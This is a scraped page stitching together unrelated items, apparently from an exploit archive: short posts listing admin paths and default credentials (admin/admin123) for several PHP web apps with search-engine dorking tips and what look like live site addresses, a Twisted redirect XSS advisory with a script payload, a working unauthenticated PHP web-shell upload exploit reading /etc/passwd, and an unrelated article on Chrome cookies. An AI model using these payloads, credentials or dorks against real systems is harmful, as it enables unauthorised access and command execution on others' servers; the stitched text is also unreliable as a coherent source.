Chuksrio LMS version 2.9 suffers from an insecure direct object reference vulnerability.

**Chuksrio LMS 2.9 Insecure Direct Object Reference**

Posted Jul 30, 2024

Authored by indoushka

Chuksrio LMS version 2.9 suffers from an insecure direct object reference vulnerability.

tags | exploit

SHA-256 | 2913e2114833b1b975093b54cddc506496b54958798b2a0f6a2dd39c81193a02

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**Chuksrio LMS 2.9 Insecure Direct Object Reference**

    ====================================================================================================================================| # Title     : Chuksrio LMS v2.9 IDOR Vulnerability                                                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.sourcecodester.com/                                                                                    |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload : /admin/header.php?captcha[+] https://www/127.0.0.1/mefkayschools.org/admin/header.php?captchaGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Chuksrio LMS 2.9 Insecure Direct Object Reference

### Summary

The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body.

### Details
Twisted’s `redirectTo` function generates an `HTTP 302 Redirect` response. The response contains an HTML body, built for exceptional cases where the browser doesn’t properly handle the redirect, allowing the user to click a link, navigating them to the specified destination.

The function reflects the destination URL in the HTML body without any output encoding. 
```python
# https://github.com/twisted/twisted/blob/trunk/src/twisted/web/_template_util.py#L88
def redirectTo(URL: bytes, request: IRequest) -> bytes:
    # ---snip---
    content = b"""
<html>
    <head>
        <meta http-equiv=\"refresh\" content=\"0;URL=%(url)s\">
    </head>
    <body bgcolor=\"#FFFFFF\" text=\"#000000\">
    <a href=\"%(url)s\">click here</a>
    </body>
</html>
""" % {
        b"url": URL
    }
    return content
```

If an attacker has full or partial control over redirect location due to an application bug, also known as an “Open Redirect”, they may inject arbitrary HTML into the response’s body, ultimately leading to an XSS attack.

It’s worth noting that the issue is known to maintainers and tracked with GitHub [Issue#9839](https://github.com/twisted/twisted/issues/9839). The issue description, however, does not make any mention of exploitability and simply states: “…Browsers don't seem to actually render that page…”

### PoC
The issue can be reproduced by running the following Twisted-based HTTP server locally:
```python
from twisted.web import server, resource
from twisted.internet import reactor
from twisted.web.util import redirectTo

class Simple(resource.Resource):
    isLeaf = True
    def render_GET(self, request):
        url = request.args[b'url'][0]  # <-- open redirect
        return redirectTo(url, request)

site = server.Site(Simple())
reactor.listenTCP(9009, site)
reactor.run()
```
Once running, navigate to the following URL: `http://127.0.0.1:9009?url=ws://example.com/"><script>alert(document.location)</script>`, and verify that the “alert” dialog was displayed.

**Note**: Due to the different ways browsers validate the redirect Location header, this attack is possible only in **Firefox**. All other tested browsers will display an error message to the user and will not render the HTML body.

### Impact
If successfully exploited, the issue will allow malicious JavaScript to run in the context of the victim's session. This will in turn lead to unauthorized access/modification to victim's account and information associated with it, or allow for unauthorized operations to be performed within the context of the victim's session.

**Summary**

The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body.

**Details**

Twisted’s redirectTo function generates an HTTP 302 Redirect response. The response contains an HTML body, built for exceptional cases where the browser doesn’t properly handle the redirect, allowing the user to click a link, navigating them to the specified destination.

The function reflects the destination URL in the HTML body without any output encoding.

\# https://github.com/twisted/twisted/blob/trunk/src/twisted/web/\_template\_util.py#L88
def redirectTo(URL: bytes, request: IRequest) \-> bytes:
    \# ---snip---
    content \= b"""
<html>
    <head>
        <meta http-equiv=\\"refresh\\" content=\\"0;URL=%(url)s\\"\>
    </head>
    <body bgcolor=\\"#FFFFFF\\" text=\\"#000000\\"\>
    <a href=\\"%(url)s\\"\>click here</a>
    </body>
</html>
""" % {
        b"url": URL
    }
    return content

If an attacker has full or partial control over redirect location due to an application bug, also known as an “Open Redirect”, they may inject arbitrary HTML into the response’s body, ultimately leading to an XSS attack.

It’s worth noting that the issue is known to maintainers and tracked with GitHub Issue#9839. The issue description, however, does not make any mention of exploitability and simply states: “…Browsers don't seem to actually render that page…”

**PoC**

The issue can be reproduced by running the following Twisted-based HTTP server locally:

from twisted.web import server, resource
from twisted.internet import reactor
from twisted.web.util import redirectTo

class Simple(resource.Resource):
    isLeaf \= True
    def render\_GET(self, request):
        url \= request.args\[b'url'\]\[0\]  \# <-- open redirect
        return redirectTo(url, request)

site \= server.Site(Simple())
reactor.listenTCP(9009, site)
reactor.run()

Once running, navigate to the following URL: http://127.0.0.1:9009?url=ws://example.com/"><script>alert(document.location)</script>, and verify that the “alert” dialog was displayed.

**Note**: Due to the different ways browsers validate the redirect Location header, this attack is possible only in **Firefox**. All other tested browsers will display an error message to the user and will not render the HTML body.

**Impact**

If successfully exploited, the issue will allow malicious JavaScript to run in the context of the victim's session. This will in turn lead to unauthorized access/modification to victim's account and information associated with it, or allow for unauthorized operations to be performed within the context of the victim's session.

**References**

*   GHSA-cf56-g6w6-pqq2
*   twisted/twisted@046a164

GHSA-cf56-g6w6-pqq2: Twisted vulnerable to HTML injection in HTTP redirect body

QuickJob version 6.1 suffers from an ignored default credential vulnerability.

**QuickJob 6.1 Insecure Settings**

Posted Jul 29, 2024

Authored by indoushka

QuickJob version 6.1 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | e6896d4cea9d5e1f38adf67e9cf29b00d07caf0ece1ebc4e316d431f13e72eca

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**QuickJob 6.1 Insecure Settings**

    ====================================================================================================================================| # Title     : quickjob 6.1 Insecure Settings Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://codecanyon.net/item/quickjob-job-board-php-script/25217096                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user&pass: admin[+] panel : https://www/127.0.0.1/xpressdigitalonline/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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QuickJob 6.1 Insecure Settings

Prison Management System version version 1.0 suffers from an ignored default credential vulnerability.

**Prison Management System version 1.0 Insecure Settings**

Posted Jul 29, 2024

Authored by indoushka

Prison Management System version version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 81a9d01f3c8c94bb0000f4403731ff41830ed447ed13fdad39cbe7cc67884842

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**Prison Management System version 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : Prison Management System version 1.0 Insecure Settings Vulnerability                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.sourcecodester.com/php/15368/prison-management-system-phpoop-free-source-code.html                     |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/untcarriercom/admin/?page=system_infoGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Prison Management System version 1.0 Insecure Settings

Pharmacy Management System version 1.0 suffers from an ignored default credential vulnerability.

**Pharmacy Management System 1.0 Insecure Settings**

Posted Jul 29, 2024

Authored by indoushka

Pharmacy Management System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 59f44c9b7f06be4efb67d80c7c07d536ce29ef1457664c97c77dea0949148078

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**Pharmacy Management System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : Pharmacy Management System v1.0 Insecure Settings Vulnerability                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.sourcecodester.com/user/257130/activity                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yoruanwitness000webhostappcom/admin/?page=clientsGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Pharmacy Management System 1.0 Insecure Settings

Online Payment Hub System version 1.0 suffers from an ignored default credential vulnerability.

**Online Payment Hub System 1.0 Insecure Settings**

Posted Jul 29, 2024

Authored by indoushka

Online Payment Hub System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 30a6b1cbf6e4c838b1c70e5f65c51d228a564e5d1e6f1bc286e2c364b4ee5cda

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**Online Payment Hub System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : Online Payment Hub System v1.0 Insecure Settings Vulnerability                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://scriptmafia.org                                                                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yoruban-witness.000webhostappcom/admin/?page=clientsGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Online Payment Hub System 1.0 Insecure Settings

Innue Business Live Chat version 2.5 suffers from an ignored default credential vulnerability.

**Innue Business Live Chat 2.5 Insecure Settings**

Posted Jul 29, 2024

Authored by indoushka

Innue Business Live Chat version 2.5 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 69cf2bb9bb7d7ff376d99fe228145e43a3757fab2416d6aff6f75b372ddf2d3a

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**Innue Business Live Chat 2.5 Insecure Settings**

    ====================================================================================================================================| # Title     : innue business live chat v2.5 Insecure Settings Vulnerability                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.bdtask.com/business-live-chat-software.php                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin@gmail.com & pass = admin[+] https://www/127.0.0.1/vmi1941086contaboservernet/loginGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Innue Business Live Chat 2.5 Insecure Settings

Prison Management System version 1.0 suffers from an unauthenticated remote shell upload vulnerability.

    # Exploit Title: Prison Management System 1.0 - Unuthenticated RCE# Date: 24.07.2024# Exploit Author: Muhammet Ali Dak# Vendor Homepage: https://www.sourcecodester.com/sql/17287/prison-management-system.html# Software Link: https://www.sourcecodester.com/download-code?nid=17287&title=Prison+Management+System+Using+PHP# Version: 1.0# Tested on: Linux## Unauthenticated users can access /Admin/add-admin.php address and they can upload malicious php file by changing Content-Type to image/jpeg instead of profile picture image without any authentication. POST /Admin/add-admin.php HTTP/1.1Host: 192.168.60.131User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------84806108511207628902669766678Content-Length: 1055Origin: http://192.168.60.131Connection: keep-aliveReferer: http://192.168.60.131/Admin/add-admin.phpUpgrade-Insecure-Requests: 1Priority: u=0, i-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="txtusername"yuznumara-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="txtfullname"yuznumara-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="txtpassword"yuznumara123-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="txtphone"55353535353-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="avatar"; filename="cmd.php"Content-Type: image/jpeg<?phpif(isset($_REQUEST['cmd'])){        echo "<pre>";        $cmd = ($_REQUEST['cmd']);        system($cmd);        echo "</pre>";        die;}?>Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd-----------------------------84806108511207628902669766678Content-Disposition: form-data; name="btncreate"-----------------------------84806108511207628902669766678--## Malicious file can be seen under the path /uploadImage/Profile/ without any authentication.## With the request http://192.168.60.131/uploadImage/Profile/cmd.php?cmd=whoami the attacker can execute arbitrary command on the application server.

Prison Management System 1.0 Shell Upload

Multi Store Inventory Management System version 1.0 suffers from an insecure direct object reference vulnerability.

**Multi Store Inventory Management System 1.0 Insecure Direct Object Reference**

Posted Jul 25, 2024

Authored by indoushka

Multi Store Inventory Management System version 1.0 suffers from an insecure direct object reference vulnerability.

tags | exploit

SHA-256 | 32be0fec962b67faf38d315a9d6d5a0c83204e2e599b0319b92fa81fc435926a

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**Multi Store Inventory Management System 1.0 Insecure Direct Object Reference**

    ====================================================================================================================================| # Title     : Multi Store Inventory Management System v1.0 IDOR Vulnerability                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload : /dashboard/autoupdate[+] https://www/127.0.0.1/multistore_demo/dashboard/autoupdateGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Multi Store Inventory Management System 1.0 Insecure Direct Object Reference

Cookies aren't going away, after all. After years of saying it will do so, Google has decided to not remove third-party cookies from Chrome.

Source: Piotr Malczyk via Alamy Stock Photo

After almost four years of tinkering, Google said it will not phase out third-party cookies from its Chrome browser. Instead, the company will provide users with options on how they want to be tracked on the web.

Back in 2020, Google urged browser makers, publishers, developers, and advertisers to move away from using third-party cookies and adopt mechanisms that would provide users with a more private and secure web. Despite opposition from online advertisers, Google set April 2025 as the deadline for removing third-party cookies from Chrome.

However, following discussions with stakeholders -- a list which includes regulators, publishers, developer, and other entities -- Google said it now realizes building ad mechanisms which also preserve privacy has implications for online advertisers.

"In light of this, we are proposing an updated approach that elevates user choice," wrote Chavez. "Instead of deprecating third-party cookies, we would introduce a new experience in Chrome that lets people make an informed choice that applies across their web browsing, and they'd be able to adjust that choice at any time."

One of the mechanisms Google has been working on for the past few years is Privacy Sandbox, a suite of APIs for online ad delivery and analytics with privacy protections built-in. Chrome users will have the choice of keeping third-party cookies or using Privacy Sandbox.

The Electronic Frontier Foundation noted that while major browsers, like Safari and Firefox, block third-party cookies by default, Chrome still does not. And while Privacy Sandbox may be less invasive, it is problematic because it shifts control of online tracking from third-party trackers to Google, according to EFF's Lena Cohen. "That doesn't mean it's good for your privacy," Cohen wrote. EFF suggests downloading its Privacy Badger browser extension to opt out of Privacy Sandbox and the broader online tracking ecosystem.

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